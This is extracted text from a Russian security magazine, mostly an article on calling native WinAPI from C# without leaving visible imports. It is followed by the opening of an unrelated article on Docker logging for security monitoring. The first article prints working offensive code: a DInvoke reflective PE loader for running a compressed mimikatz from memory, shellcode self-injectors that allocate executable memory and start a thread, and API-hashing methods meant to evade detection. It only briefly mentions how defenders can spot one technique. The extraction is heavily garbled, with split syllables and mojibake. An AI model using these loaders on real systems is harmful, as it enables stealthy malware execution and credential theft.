 $typeDef = $metadataReader.GetTypeDefinition($typeHandler)
 foreach($methodHandler in $typeDef.GetMethods()) {
   $methodDef = $metadataReader.GetMethodDefinition($methodHandler)
   $import = $methodDef.GetImport()
   if ($import.Module.IsNil) {
     continue
   }
   $dllImportFuncName = $metadataReader.GetString($import.Name)
   $dllImportParameters = $import.Attributes.ToString()
   $dllImportPath = $metadataReader.GetString($metadataReader.
GetModuleReference($import.Module).Name)
   Write-Host "$dllImportPath, $dllImportParameters`n
$dllImportFuncName`n"
 }

}

При мер вывода

Им порты мож но гля нуть и через более спе циали зиро ван ное ПО, такое
как  или извес тный мно гим .monodis dnSpy

По это му люди ста ли при думы вать иные методы вызова неуп равля емо го
кода из C#, что бы как минимум скрыть импорты.

DYNAMIC INVOKE

Этот механизм исполь зует делега ты, что бы получить дос туп к методам
из неуп равля емо го кода. Делегат, если упростить, мож но счи тать ука зате лем
на фун кцию. В C# не как в C++ — здесь имя фун кции не рав но адре су фун- 
кции. Что бы, нап ример, передать фун кцию как кол бэк, пот ребу ется исполь- 
зовать делегат. Ниже при мер прос тей шего делега та.

 using System;
 using System.Diagnostics;
 using System.Runtime.InteropServices;

 namespace Template
{
       public delegate int Operation(int x, int y);

  class Program
 {
     static void Main()
   {

        var a = 2;
        var b = 3;

        Operation op = Add;
       Console.WriteLine(op(a, b)); // Вызывается Add => 5

       op = Multiply;
       Console.WriteLine(op(a, b)); // Вызывается Multiply => 6

   }

            static int Add(int x, int y) => x + y;
            static int Multiply(int x, int y) => x * y;
 }
}

Как видишь, идет объ явле ние делега та: воз вра щаемое зна чение, при нима- 
емые аргу мен ты, все-все дан ные. Затем мож но ини циали зиро вать этот
делегат кон крет ным методом и, обра тив шись к делега ту, выз вать фун кцию.

Так вот, Dynamic Invoke мож но счи тать сишар пным 

и . Этот механизм поз воля ет получить базовый адрес биб- 
лиоте ки, про бежать ся по экспор там, обна ружить адрес необ ходимой фун- 
кции и ини циали зиро вать этим адре сом кон крет ный делегат через

. Как следс твие, в таб лице импортов

ском пилиро ван ной .NET-сбор ки не будет никаких подоз ритель ных записей (в
отли чие от того, как было при P/Invoke).

GetModuleHandle()
GetProcAddress()

GetDelegateForFunctionPointer()

Са мый извес тный PoC — . В нем есть нес коль ко
основных методов:

тво рение TheWover

 — эта фун кция сна чала про веря ет, не заг ружена
ли уже целевая биб лиоте ка (метод из которой мы хотим выз вать) в память.
Для это го она вызыва ет фун кцию . Если
либа не заг ружена, то заг ружа ется с помощью .
Если заг ружена — дер гает ся фун кция  для поис ка
адре са фун кции в модуле;

• GetLibraryAddress()

GetLoadedModuleAddress()

LoadModuleFromDisk()

GetExportAddress()

 — исполь зует 
, что бы опре делить, заг ружена ли уже

биб лиоте ка в про цесс;

• GetLoadedModuleAddress() Process.

GetCurrentProcess().Modules

 — заг ружа ет DLL в память про цес са с помощью
;

• LoadModuleFromDisk()

LdrLoadDll()

 — пар сит таб лицу экспор тов кон крет ного модуля,
отталки ваясь от его базово го адре са, с целью най ти фун кции. Фун кция
может иден тифици ровать ся по стро ково му име ни или хешу (механизм API
Hashing);

• GetExportAddress()

 — обна ружи вает базовый адрес заг рузки
модуля, ана лизи руя PEB;

• GetPebLdrModuleEntry()

 — эта фун кция исполь зует ся для мап пинга в память
про цес са модуля , при чем с извле чени ем кон крет ной фун кции.
Слу жит для исполне ния пря мых сис колов.

• GetSyscallStub()

ntdll.dll

Про ект так же пре дос тавля ет нес коль ко методов, которые поз воля ют заг- 
ружать биб лиоте ку не с дис ка, а из памяти:

 — механизм Memory Module. Реали зует руч ной
мап пинг бай тов биб лиоте ки в динами чес ки выделен ную память. Может
при нимать либо мас сив бай тов, либо имя фай ла на дис ке;

• MapModuleToMemory()

 — поз воля ет вруч ную мап пить модуль,
который уже находит ся в памяти (мас сив бай тов) по опре делен ному адре- 
су;

• MapModuleToMemoryAddress()

 — исполь зует Module Overloading для отоб ражения
модуля в память на мес то, где смап лена дру гая либа. Переза писы вает ся
слу чай ная DLL, которая лежит в  и име ет циф- 
ровую под пись. Этот метод может при нимать либо мас сив бай тов, либо
имя фай ла на дис ке.

• OverloadModule()

C:\Windows\System32

Вот отличный при мер, где исполь зуют ся некото рые из этих методов.

 using System;

 namespace SpTestcase
{
  class Program
 {

      static void Main(string[] args)
   {

        String testDetail = @"
     #=================>
     # Hello there!
     # I find things dynamically; base
     # addresses and function pointers.
     #=================>
     ";
     Console.WriteLine(testDetail);

     Console.WriteLine("[?] Resolve Ntdll base from the PEB..");
        IntPtr hNtdll = SharpSploit.Execution.DynamicInvoke.Generic.

GetPebLdrModuleEntry("ntdll.dll");
  

   
     Console.WriteLine("[>] Ntdll base address : " + string.Format(
"{0:X}", hNtdll.ToInt64()) + "\n");

     Console.WriteLine("[?] Specifying the name of a DLL ("ntdll.dll
"), resolve a function by walking the export table in-memory..");
     Console.WriteLine("[+] Search by name --> NtCommitComplete");

   
  

     IntPtr pNtCommitComplete = SharpSploit.Execution.DynamicInvoke.
Generic.GetLibraryAddress("ntdll.dll", "NtCommitComplete", true);

  
   

     Console.WriteLine("[>] pNtCommitComplete : " + string.Format("{
0:X}", pNtCommitComplete.ToInt64()) + "\n");

     Console.WriteLine("[+] Search by ordinal --> 0x260 (
NtSetSystemTime)");

   
  

     IntPtr pNtSetSystemTime = SharpSploit.Execution.DynamicInvoke.
Generic.GetLibraryAddress("ntdll.dll", 0x260, true);

  
   

     Console.WriteLine("[>] pNtSetSystemTime : " + string.Format("{
0:X}", pNtSetSystemTime.ToInt64()) + "\n");

     Console.WriteLine("[+] Search by keyed hash --> 
138F2374EC295F225BD918F7D8058316 (RtlAdjustPrivilege)");
     Console.WriteLine("[>] Hash : HMACMD5(Key).ComputeHash(
FunctionName)");

   
 

     String fHash = SharpSploit.Execution.DynamicInvoke.Generic.
GetAPIHash("RtlAdjustPrivilege", 0xaabb1122);

   
  

     IntPtr pRtlAdjustPrivilege = SharpSploit.Execution.
DynamicInvoke.Generic.GetLibraryAddress("ntdll.dll", fHash,
0xaabb1122);

  
   

     Console.WriteLine("[>] pRtlAdjustPrivilege : " + string.Format(
"{0:X}", pRtlAdjustPrivilege.ToInt64()) + "\n");

 
     Console.WriteLine("[?] Specifying the base address of DLL in 
memory ({0:X}), resolve function by walking its export table...",
hNtdll.ToInt64());
     Console.WriteLine("[+] Search by name --> NtCommitComplete");

   
 

     IntPtr pNtCommitComplete2 = SharpSploit.Execution.DynamicInvoke
.Generic.GetExportAddress(hNtdll, "NtCommitComplete");

  
   

     Console.WriteLine("[>] pNtCommitComplete : " + string.Format("{
0:X}", pNtCommitComplete2.ToInt64()) + "\n");

     Console.WriteLine("[*] Pausing execution..");
     Console.ReadLine();
   }
 }
}

Про ект обрел широкую популяр ность и исполь зует ся во мно гих инс тру мен тах:
, , .об ход AMSI за пись в реестр ка кое-то сов мес тное чудо bohops и snovvcrash

В кон це кон цов, этот про ект мож но исполь зовать и как Reective PE
Loader. Вот код для запус ка РЕ из памяти.

 using System;
 using System.IO;
 using System.IO.Compression;

 namespace DInvokePE
{
   public class Program
 {
      static byte[] Compress(byte[] data)
   {

         var output = new MemoryStream();
           using (var dStream = new DeflateStream(output, CompressionLevel

.Optimal))
         dStream.Write(data, 0, data.Length);

      return output.ToArray();
   }

      static byte[] Decompress(byte[] data)
   {

         var input = new MemoryStream(data);
         var output = new MemoryStream();

           using (var dStream = new DeflateStream(input, CompressionMode.
Decompress))
       dStream.CopyTo(output);

      return output.ToArray();
   }

       public static void Main(string[] args)
   {
     /*
     var rawBytes = File.ReadAllBytes(@"C:\Users\snovvcrash\Desktop\
mimikatz.exe");
     var compressed = Compress(rawBytes);
     var compressedB64 = Convert.ToBase64String(compressed);
     Console.WriteLine(compressedB64);
     */

        var compressed = Convert.FromBase64String("");
        var rawBytes = Decompress(compressed);
        var map = DInvoke.ManualMap.Map.MapModuleToMemory(rawBytes);

      DInvoke.DynamicInvoke.Generic.CallMappedPEModule(map.PEINFO,
map.ModuleBase);
     Console.ReadLine();
   }
 }
}

По мимо этих инс тру мен тов, для авто мати чес кого добав ления исходно го кода
в про ект есть . Этот новый исходник поз волит делать вызовы
DInvoke и исполь зовать Indirect-сис колы.

CsWhispers

Впро чем, необя затель но тащить с собой огромную либу. Пар сить
ExportTable мож но и встро енны ми средс тва ми C#. Этот код был при веден
иссле дова телем :xpn

 using System;
 using System.Diagnostics;
 using System.Runtime.InteropServices;

 namespace DynamicAPIInvoke
{
 /// <summary>
 /// "A Quick History Lesson"
 /// https://blog.xpnsec.com/weird-ways-to-execute-dotnet/
 /// </summary>
   public class Program
 {
   [UnmanagedFunctionPointer(CallingConvention.Winapi)]
        

    
delegate IntPtr VirtualAllocDelegate(IntPtr lpAddress, uint

dwSize, uint flAllocationType, uint flProtect);
   [UnmanagedFunctionPointer(CallingConvention.Winapi)]
     delegate IntPtr ShellcodeDelegate();
        static IntPtr GetExportAddress(IntPtr baseAddr, string name)
   {

        var dosHeader = Marshal.PtrToStructure<IMAGE_DOS_HEADER>(
baseAddr);

   
      

     var peHeader = Marshal.PtrToStructure<IMAGE_OPTIONAL_HEADER64>(
baseAddr + dosHeader.e_lfanew + 4 + Marshal.SizeOf<IMAGE_FILE_HEADER
>());

   
  

     var exportHeader = Marshal.PtrToStructure<
IMAGE_EXPORT_DIRECTORY>(baseAddr + (int)peHeader.ExportTable.
VirtualAddress);

             for (int i = 0; i < exportHeader.NumberOfNames; i++)
     {

     
    

       var nameAddr = Marshal.ReadInt32(baseAddr + (int)exportHeader
.AddressOfNames + (i * 4));

            var m = Marshal.PtrToStringAnsi(baseAddr + (int)nameAddr);
          if (m == "VirtualAlloc")

       {
     

    
         var exportAddr = Marshal.ReadInt32(baseAddr + (int)
exportHeader.AddressOfFunctions + (i * 4));

            return baseAddr + (int)exportAddr;
       }
     }

      return IntPtr.Zero;
   }
      public static void Main()
   {
     // msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack 
the Planet!' EXITFUNC=thread -f csharp

           byte[] shellcode = new byte[] { };
     // Ищем экспорт-адрес из уже загруженной в память библиотеки 
kernel32.dll

        IntPtr virtualAllocAddr = IntPtr.Zero;
         foreach (ProcessModule module in Process.GetCurrentProcess().

Modules)
          if (module.ModuleName.ToLower() == "kernel32.dll")

            virtualAllocAddr = GetExportAddress(module.BaseAddress,
"VirtualAlloc");
     // Инициализируем делегат найденным адресом

        var VirtualAlloc = Marshal.GetDelegateForFunctionPointer<
VirtualAllocDelegate>(virtualAllocAddr);
     // Выделяем область памяти shellcode.Length байт в адресном 
пространстве текущего процесса инжектора (0x3000 = MEM_COMMIT | 
MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE)

     
 

     var execMem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length,
0x3000, 0x40);
     // Записываем шелл-код в выделенную область

        Marshal.Copy(shellcode, 0, execMem, shellcode.Length);
     // Обращаемся к шелл-коду как к функции и запускаем его без 
создания нового потока

        var shellcodeCall = Marshal.GetDelegateForFunctionPointer<
ShellcodeDelegate>(execMem);
     shellcodeCall();
   }
   [StructLayout(LayoutKind.Sequential)]
    struct IMAGE_DOS_HEADER
   {
     // http://www.pinvoke.net/default.aspx/Structures/
IMAGE_DOS_HEADER.html
   }
      [StructLayout(LayoutKind.Sequential, Pack = 1)]
    struct IMAGE_OPTIONAL_HEADER64
   {
     // http://www.pinvoke.net/default.aspx/Structures/
IMAGE_OPTIONAL_HEADER64.html
   }
   [StructLayout(LayoutKind.Sequential)]
    struct IMAGE_DATA_DIRECTORY
   {
     // http://www.pinvoke.net/default.aspx/Structures/
IMAGE_DATA_DIRECTORY.html
   }
   [StructLayout(LayoutKind.Sequential)]
    struct IMAGE_FILE_HEADER
   {
     // http://www.pinvoke.net/default.aspx/Structures/
IMAGE_FILE_HEADER.html
   }
   [StructLayout(LayoutKind.Sequential)]
    struct IMAGE_EXPORT_DIRECTORY
   {
     // http://www.pinvoke.net/default.aspx/Structures/
IMAGE_EXPORT_DIRECTORY.html
   }
 }
}

Продолжение статьи →
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WINAPI ДНЕМ
И НОЧЬЮ

ИЩЕМ СПОСОБЫ ОБРАЩЕНИЯ
К НАТИВНОМУ КОДУ ИЗ C#

КОДИНГ  НАЧАЛО СТАТЬИ←

PARASITE INVOKE

«Лень — дви гатель прог ресса», — писал Андрей Воз несен ский в 
. Эта стро ка отлично опи сыва ет мое сос тояние недели пол- 

торы назад. Было желание тво рить, но не хотелось вновь под нимать замет ки
по этим бес конеч ным ABCD-Invoke, парал лель но вспо миная, как адап- 
тировать кон крет ный метод под мой инс тру мент. Нуж но было что-то очень
прос тое, как PInvoke, но не менее скрыт ное (без записей в импорте), чем
DInvoke. Поэто му я соз дал еще один метод — Parasite Invoke.

сти хот- 
ворении «Лень»

Я решил взгля нуть на проб лему с дру гой сто роны:

«
»

— Platform Invoke — ìåõàíèçì ëåãèòèì íûé? 
— Êîíå÷ íî. 
— Åãî äðó ãèå ðàç ðàáîò ÷èêè èñïîëü çóþò? 
— Åñòåñ òâåí íî! 
— À ìû ìîæåì èñïîëü çîâàòü èõ ñèã íàòóðû? 
— ...

Как ты понима ешь, был при думан метод, который может зло упот реблять
PInvoke-сиг натура ми чужих сбо рок, проз рачно вызывая через них нуж ный
метод WinAPI. Рас смот рим механизм под робнее. При запус ке  при нима ет
лишь обя затель ный параметр — .

PoC
path

.  C:\ParasiteInvoke.exe --path \ -r

При мер вывода информа ции о сиг натурах сбо рок с дис ка С

Эта коман да поз воля ет перечис лить все PInvoke-методы в сбор ках, лежащих
на дис ке .  — рекур сивный перебор. Есть воз можность поис ка сиг натуры
и кон крет ного метода, нап ример .

C -r
VirtualAlloc

.  C:  \ParasiteInvoke.exe --path \ -r --method VirtualAlloc 

Об наружен ные сиг натуры VirtualAlloc в сбор ках на дис ке С

Те перь получен ную сиг натуру мож но вста вить в нашу C#-прог рамму, и метод
WinAPI будет успешно выз ван через нее.

 using System;
 using System.Reflection;
 using System.Runtime.InteropServices;

 namespace Template
{
  class Program
 {
     static void Main()
   {

        Assembly asm = Assembly.LoadFrom(@"C:\Windows\Microsoft.NET\
Framework64\v4.0.30319\WPF\UIAutomationClientsideProviders.dll");

         Type t = asm.GetType("MS.Win32.UnsafeNativeMethods", true);
    

  
     var methodInfo = t.GetMethod("VirtualAlloc", System.Reflection.
BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);

     
        

     IntPtr result = (System.IntPtr)methodInfo.Invoke(null, new
object[] { IntPtr.Zero, new UIntPtr(10), 0x3000, 0x40 } );

              Marshal.Copy(new byte[] { 1, 2, 3 }, 0, result, 3);
     Console.WriteLine(result);
     return;
   }

 }
}

Ра бота ет это сле дующим обра зом:
1. В наше при ложе ние заг ружа ется легитим ная сбор ка, мож но даже с циф- 

ровой под писью.
2. Про исхо дит под готов ка всех необ ходимых для получе ния метода дан ных.

В час тнос ти, мы дол жны вер но ука зать все фла ги (какие модифи като ры
дос тупа у фун кции, ста тичес кая она или динами чес кая). Все сиг натуры
PInvoke в 99% слу чаев рас полага ются в клас сах в виде ста тичес ких
методов.

3. На конец, под готовив дан ные о методе, его мож но выз вать через
.methodInfo.Invoke()

Это обес печива ет некото рое прок сирова ние Platform Invoke, так как со сто- 
роны сис темы вызов метода WinAPI выпол няет ся от лица легитим ной сбор ки.
И вро де бы ничего страш ного не про исхо дит!

DYNAMIC PINVOKE

Что будет, если соеди нить Dynamic Invoke и Platform Invoke? Получит ся
Dynamic Platform Invoke! Пред ставь, что ты можешь опре делять сиг натуру
PInvoke в ран тай ме. У нас есть воз можность исполь зовать раз ные динами- 
чес кие типы и объ екты .NET, что бы опре делить необ ходимые методы и свой- 
ства для сиг натуры PInvoke во вре мя выпол нения, что поз волит выз вать ее.
Метод осно ван на исполь зовании  для динами чес кого
опре деле ния сиг натуры. Нап ример, в эту фун кцию мож но отдать про тотип,
и она его без проб лем про жует.

DenePInvokeMethod()

[DllImport("kernel32.dll")]
    private static extern IntPtr VirtualAlloc(

  IntPtr lpStartAddr,
  ulong size,
  uint flAllocationType,
  uint flProtect);

По луча ется, дос таточ но заранее под готовить все методы, которые дол жны
быть выз ваны, динами чес ки их опре делить, соз дать динами чес кую сбор ку
в дефол тном AppDomain, что и при ведет к вызову неуп равля емо го кода.

Пред лагаю рас смот реть на при мере. Пусть есть сле дующий код с PInvoke
(до боли зна комый нам шелл-код-self-инжектор):

 using System;
 using System.Runtime.InteropServices;

 namespace ShellcodeLoader
{
  class Program
 {
      static void Main(string[] args)
   {

          byte[] x64shellcode = new byte[294] {
       0xfc,0x48, ... };

        IntPtr funcAddr = VirtualAlloc(
        IntPtr.Zero,
        (ulong)x64shellcode.Length,
        (uint)StateEnum.MEM_COMMIT,
        (uint)Protection.PAGE_EXECUTE_READWRITE);

        Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.
Length);

        IntPtr hThread = IntPtr.Zero;
        uint threadId = 0;

        IntPtr pinfo = IntPtr.Zero;

             hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
      WaitForSingleObject(hThread, 0xFFFFFFFF);

     return;
   }

    #region pinvokes
   [DllImport("kernel32.dll")]
       private static extern IntPtr VirtualAlloc(

      IntPtr lpStartAddr,
      ulong size,

      uint flAllocationType,
      uint flProtect);

   [DllImport("kernel32.dll")]
       private static extern IntPtr CreateThread(

      uint lpThreadAttributes,
      uint dwStackSize,

      IntPtr lpStartAddress,
      IntPtr param,

      uint dwCreationFlags,
       ref uint lpThreadId);

   [DllImport("kernel32.dll")]
       private static extern uint WaitForSingleObject(

      IntPtr hHandle,
      uint dwMilliseconds);

     public enum StateEnum
   {

       MEM_COMMIT = 0x1000,
       MEM_RESERVE = 0x2000,

       MEM_FREE = 0x10000
   }

     public enum Protection
   {

       PAGE_READONLY = 0x02,
       PAGE_READWRITE = 0x04,

       PAGE_EXECUTE = 0x10,
       PAGE_EXECUTE_READ = 0x20,

       PAGE_EXECUTE_READWRITE = 0x40,
   }
   #endregion
 }
}

С динами чес ким PInvoke прог рамма выг лядела бы вот так:

//original runner by @Arno0x: https://github.com/Arno0x/
CSharpScripts/blob/master/shellcodeLauncher.cs

 using System;
 using System.Runtime.InteropServices;
 using System.Reflection;
 using System.Reflection.Emit;

 namespace ShellcodeLoader
{
  class Program
 {
      static void Main(string[] args)
   {

            byte[] x64shellcode = new byte[294] {0xfc,0x48, ... };

      IntPtr funcAddr = VirtualAlloc(
       IntPtr.Zero,
       (uint)x64shellcode.Length,
       (uint)StateEnum.MEM_COMMIT,
       (uint)Protection.PAGE_EXECUTE_READWRITE);

        Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.
Length);

        IntPtr hThread = IntPtr.Zero;
        uint threadId = 0;

        IntPtr pinfo = IntPtr.Zero;

             hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
      WaitForSingleObject(hThread, 0xFFFFFFFF);

     return;
   }

         
      

public static object DynamicPInvokeBuilder(Type type, string
library, string method, Object[] args, Type[] paramTypes)
   {

         AssemblyName assemblyName = new AssemblyName("Temp01");
   

 
     AssemblyBuilder assemblyBuilder = AppDomain.CurrentDomain.
DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run);

        ModuleBuilder moduleBuilder = assemblyBuilder.
DefineDynamicModule("Temp02");

   
      

   
  

     MethodBuilder methodBuilder = moduleBuilder.DefinePInvokeMethod
(method, library, MethodAttributes.Public | MethodAttributes.Static |
MethodAttributes.PinvokeImpl, CallingConventions.Standard, type,
paramTypes, CallingConvention.Winapi, CharSet.Ansi);

  
     methodBuilder.SetImplementationFlags(methodBuilder.
GetMethodImplementationFlags() | MethodImplAttributes.PreserveSig);
     moduleBuilder.CreateGlobalFunctions();

        MethodInfo dynamicMethod = moduleBuilder.GetMethod(method);
         object res = dynamicMethod.Invoke(null, args);
      return res;

   }

         
    

public static IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize
, UInt32 flAllocationType, UInt32 flProtect)
   {

      
  

     Type[] paramTypes = { typeof(IntPtr), typeof(UInt32), typeof(
UInt32), typeof(UInt32) };

       
 

     Object[] args = { lpAddress, dwSize, flAllocationType,
flProtect };

    
   

     object res = DynamicPInvokeBuilder(typeof(IntPtr), "Kernel32.
dll", "VirtualAlloc", args, paramTypes);

      return (IntPtr)res;
   }

        
       

   

public static IntPtr CreateThread(UInt32 lpThreadAttributes,
UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32
dwCreationFlags, ref UInt32 lpThreadId)
   {

      
   

 

     Type[] paramTypes = { typeof(UInt32), typeof(UInt32), typeof(
IntPtr), typeof(IntPtr), typeof(UInt32), typeof(UInt32).MakeByRefType
() };

      
    

     Object[] args = { lpThreadAttributes, dwStackSize,
lpStartAddress, lpParameter, dwCreationFlags, lpThreadId };

    
   

     object res = DynamicPInvokeBuilder(typeof(IntPtr), "Kernel32.
dll", "CreateThread", args, paramTypes);

      return (IntPtr)res;
   }

         public static Int32 WaitForSingleObject(IntPtr Handle, UInt32
Wait)
   {

           Type[] paramTypes = { typeof(IntPtr), typeof(UInt32) };
           Object[] args = { Handle, Wait };

    
   

     object res = DynamicPInvokeBuilder(typeof(Int32), "Kernel32.
dll", "WaitForSingleObject", args, paramTypes);

      return (Int32)res;
   }

     public enum StateEnum
   {

       MEM_COMMIT = 0x1000,
       MEM_RESERVE = 0x2000,

       MEM_FREE = 0x10000
   }

     public enum Protection
   {

       PAGE_READONLY = 0x02,
       PAGE_READWRITE = 0x04,

       PAGE_EXECUTE = 0x10,
       PAGE_EXECUTE_READ = 0x20,

       PAGE_EXECUTE_READWRITE = 0x40,
   }
 }
}

То есть как и в слу чае с обыч ной сиг натурой Platform Invoke ука зыва ем имя
фун кции (мож но поменять), воз вра щаемые зна чения, при нима емые типы
аргу мен тов. При переда че потока управле ния этой фун кции про изой дет
динами чес кое соз дание необ ходимой сиг натуры и вызов метода.

Еще один PoC мож но  в репози тории bohops. Тем не менее Dynamic
PInvoke мож но обна ружить через .NET Introspection, ведь в подоб ной реали- 
зации для каж дой фун кции из неуп равля емо го кода соз дает ся новая сбор ка,
что мож но счи тать ано маль ным поведе нием. Это осо бен но замет но, ког да
наз вания сбо рок оди нако вые или сос тоят из слу чай ных сим волов.

най ти

.NET Introspection в Process Hacker 2

HASH INVOKE

На конец, пос ледний метод. Он чем-то похож на Parasite Invoke. Прос то
нацелен на мень шее чис ло сбо рок. Я бы даже ска зал, что толь ко
на . В этой реали зации идет перебор имен всех дос тупных методов

и типов из  с при мене нием к ним фун кции хеширо вания. Для вызова

метода дос таточ но обра тить ся к нему по хешу. Эда кий API Hashing, но в кон- 
тек сте сбо рок C#.

mscorlib
mscorlib

Нап ример, из клас са  мож но обра щать ся

к стан дар тным методам  или .

Microsoft.Win32.Win32Native
GetModuleHandle() GetProcAddress()

  var module =
  HInvoke.InvokeMethod<IntPtr>(13239936, 811580934,
      new object[] {"kernel32.dll"}); // Microsoft.Win32.Win32Native.
GetModuleHandle

  var address =
  HInvoke.InvokeMethod<IntPtr>(13239936, 1721745356,
       new object[] {module, "IsDebuggerPresent"}); // Microsoft.Win32.
Win32Native.GetProcAddress

   if (((delegate* unmanaged[Stdcall]<bool>) address)())
 Console.WriteLine("Hey meanie I said no debugging :c");

Внут ри фун кции идет уже зна комая тебе по Parasite Invoke под готов ка всех
парамет ров, пос ле чего про исхо дит обра щение к .methodInfo.Invoke()

PoC в деле

К сло ву, с исходным кодом мож но  в репози тории dr4k0nia.
Кста ти, сущес тву ют даже пол ноцен ные лоаде ры, которые исполь зуют этот
механизм. Нап ример, .

оз накомить ся

NixImports

ÂÛÂÎÄÛ

Те перь перед нами не усто ит ни одна WinAPI-фун кция! Мы смо жем выз вать
любую, нев зирая на воз можные огра ниче ния плат формы .NET. Эта статья —
оче ред ная демонс тра ция того, что при написа нии инс тру мен тов нас тупатель- 
ной безопас ности сле дует очень мно го искать, стро ить гипоте зы и тво рить,
тво рить и еще раз тво рить. «Шаманить над рецеп том», — ска зал бы я, будь
у нас кулинар ный блог.

https://www.culture.ru/poems/8333/len
https://github.com/MzHmO/Parasite-Invoke
https://learn.microsoft.com/en-us/dotnet/api/system.reflection.emit.typebuilder.definepinvokemethod?view=net-6.0
https://github.com/bohops/DynamicDotNet/tree/main/dynamic_pinvoke
https://gist.github.com/dr4k0nia/95bd2dc1cc09726f4aaaf920b9982f9d
https://github.com/dr4k0nia/NixImports
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АДМИН

Прак тичес ки все сов ремен ные сис темы исполь зуют кон тей- 
нериза цию. В боль шинс тве слу чаев в качес тве плат формы
кон тей нериза ции слу жит Docker. Для обес печения информа- 
цион ной безопас ности пос тепен но появ ляют ся решения
клас са Container Security, но у команд раз работ ки (dev)
или соп ровож дения (ops) не всег да есть воз можность их
ждать, тес тировать и встра ивать. А коман дам информа цион- 
ной безопас ности (sec) занимать ся защитой нуж но уже сей- 
час.

В такой ситу ации мож но начать с монито рин га информа цион ной безопас- 
ности про исхо дяще го в кон тей нерах, а для это го понадо бит ся собирать
события безопас ности, то есть, про ще говоря, логи. И здесь нас ждет ряд
побоч ных эффектов, воз ника ющих из-за эфе мер ной сути кон тей неров
Docker. В этой статье погово рим как раз об этих проб лемах и вари антах их
решения.

ËÎÃÈÐÎÂÀÍÈÅ Â DOCKER

Óðîâíè âåäåíèÿ æóðíàëîâ
Сна чала нуж но понять, как в Docker реали зова но жур налиро вание событий.
Сущес тву ет два уров ня ведения жур налов:

жур налы демона Docker;•
жур налы кон тей нер ных при ложе ний.•

Де мон Docker записы вает свои жур налы в  (в дис три бути вах

на осно ве Debian) или  (в дис трах, сов мести мых с Red

Hat).

/var/log/syslog
/var/log/messages

В жур налах демона мож но най ти информа цию о фун кци они рова нии
Docker на уров не плат формы кон тей нериза ции, вклю чая события жиз ненно го
цик ла кон тей нера, нас трой ки сети, вхо дящие API-зап росы и мно гое дру гое.

Сю да же вхо дят и все жур налы, которые отно сят ся к кон крет ному кон тей- 
нер ному при ложе нию. По умол чанию при ведении жур нала в фор мате JSON
путь к жур налам кон тей нера будет сле дующим:

/var/lib/docker/containers/<container_id>/<container_id>-json.log 

При соз дании нового кон тей нера ему прис ваивает ся уни каль ный ID. На хос те,
в катало ге , соз дает ся дирек тория с тем же ID

в качес тве наз вания, а внут ри — сам файл жур нала, наз вание которо го тоже
сос тоит из пре фик са  и ID кон тей нера. При уда лении кон тей нера файл

жур нала уда ляет ся вмес те с ним.

/var/lib/docker/containers

json

Эти осо бен ности вылива ются в нас тоящие проб лемы для команд
информа цион ной безопас ности, пос коль ку меша ют собирать события. Ведь
каж дый кон тей нер по умол чанию записы вает события в свой отдель ный жур- 
нал, жур налов получа ется мно го, а путь к жур налу кон крет ного кон тей нера
зависит от его ID, который прис ваивает ся при соз дании кон тей нера и сбра- 
сыва ется при уда лении кон тей нера, то есть путь к жур налу может быть раз- 
ным.

По мимо ведения жур нала в фор мате JSON, Docker под держи вает и дру гие
методы монито рин га. За каж дый из методов отве чает драй вер ведения жур- 
нала. Давай пос мотрим, какими они быва ют.

Äðàéâåðû âåäåíèÿ æóðíàëîâ
Драй веры жур налов опре деля ют, как жур налы собира ются, обра баты вают ся
и хра нят ся для каж дого кон тей нера.

Кон тей нер отправ ляет события на стан дар тный поток вывода 
и поток оши бок . Далее драй вер ведения жур нала счи тыва ет эти

события, обра баты вает их и, нап ример, если это драй вер json-le, сох раня ет
их файл локаль но на хос те. Если же исполь зует ся дру гой драй вер, нап ример
Syslog, дан ные отправ ляют ся в ука зан ную точ ку наз начения по про токо лу
TCP/UDP. Схе ма с при мера ми информа цион ных потоков — ниже.

STDOUT
STDERR

Драй вер ведения жур нала и его парамет ры мож но опре делить как на уров не
демона Docker в кон фиге  (парамет ры будут рас простра нять ся

на все вновь соз данные кон тей неры), так и на уров не кон крет ного кон тей нера
при его запус ке, исполь зовав  или ути литу .

daemon.json

docker run docker compose

Ðåæèìû äîñòàâêè æóðíàëîâ
Ре жим дос тавки жур налов в Docker опре деля ет, как жур налы переда ются
из работа ющих кон тей неров в драй вер. Сущес тву ет два режима такой дос- 
тавки: бло киру ющий и неб локиру ющий.

В бло киру ющем режиме при ложе ние отправ ляет события непос редс твен- 
но драй веру и может пре рывать работу при ложе ния, если дос тавка не завер- 
шена. Дру гими сло вами, если драй вер не может спра вить ся с объ емом
записы ваемых событий, то демон бло киру ет отправ ку событий из кон тей нера,
что может выз вать задер жки в работе самого при ложе ния. Но этот режим
гаран тиру ет отправ ку всех событий без потерь.

Бло киру ющий режим вклю чен по умол чанию для драй веров, которые
записы вают события непос редс твен но в жур нал на локаль ном хос те. Нап- 
ример, json-le и journald.

В неб локиру ющем режиме события сна чала записы вают ся в коль цевой
буфер в памяти, из которо го драй вер уже счи тыва ет события. Раз мер буфера
фик сирован ный. Если драй вер недос тупен, Docker не будет при оста нав- 
ливать работу при ложе ния и про дол жит напол нение буфера. Но если буфер
жур нала будет перепол нен, это при ведет к потере событий. Что бы это го
избе жать, мож но уве личить мак сималь ный раз мер буфера с одно го мегабай- 
та (по умол чанию) до более под ходяще го раз мера с помощью парамет ра

.max-buffer-size
Неб локиру ющий режим исполь зует ся, ког да драй вер дол жен уста новить

соеди нение с уда лен ным сер вером для отправ ки событий (нап ример, Syslog,
Fluentd и тому подоб ные решения).

Ре жимы дос тавки мож но опре делить как на уров не демона Docker, так и на
уров не кон крет ного кон тей нера.

Ра зоб равшись с осно вами жур налиро вания в Docker, давай под робнее
раз берем проб лемати ку сбо ра событий.

ÏÐÎÁËÅÌÀÒÈÊÀ

Ñáîð ñîáûòèé ñî âñåõ êîíòåéíåðîâ
Ес ли сто ит задача соб рать события со всех кон тей неров Docker, то в слу чае
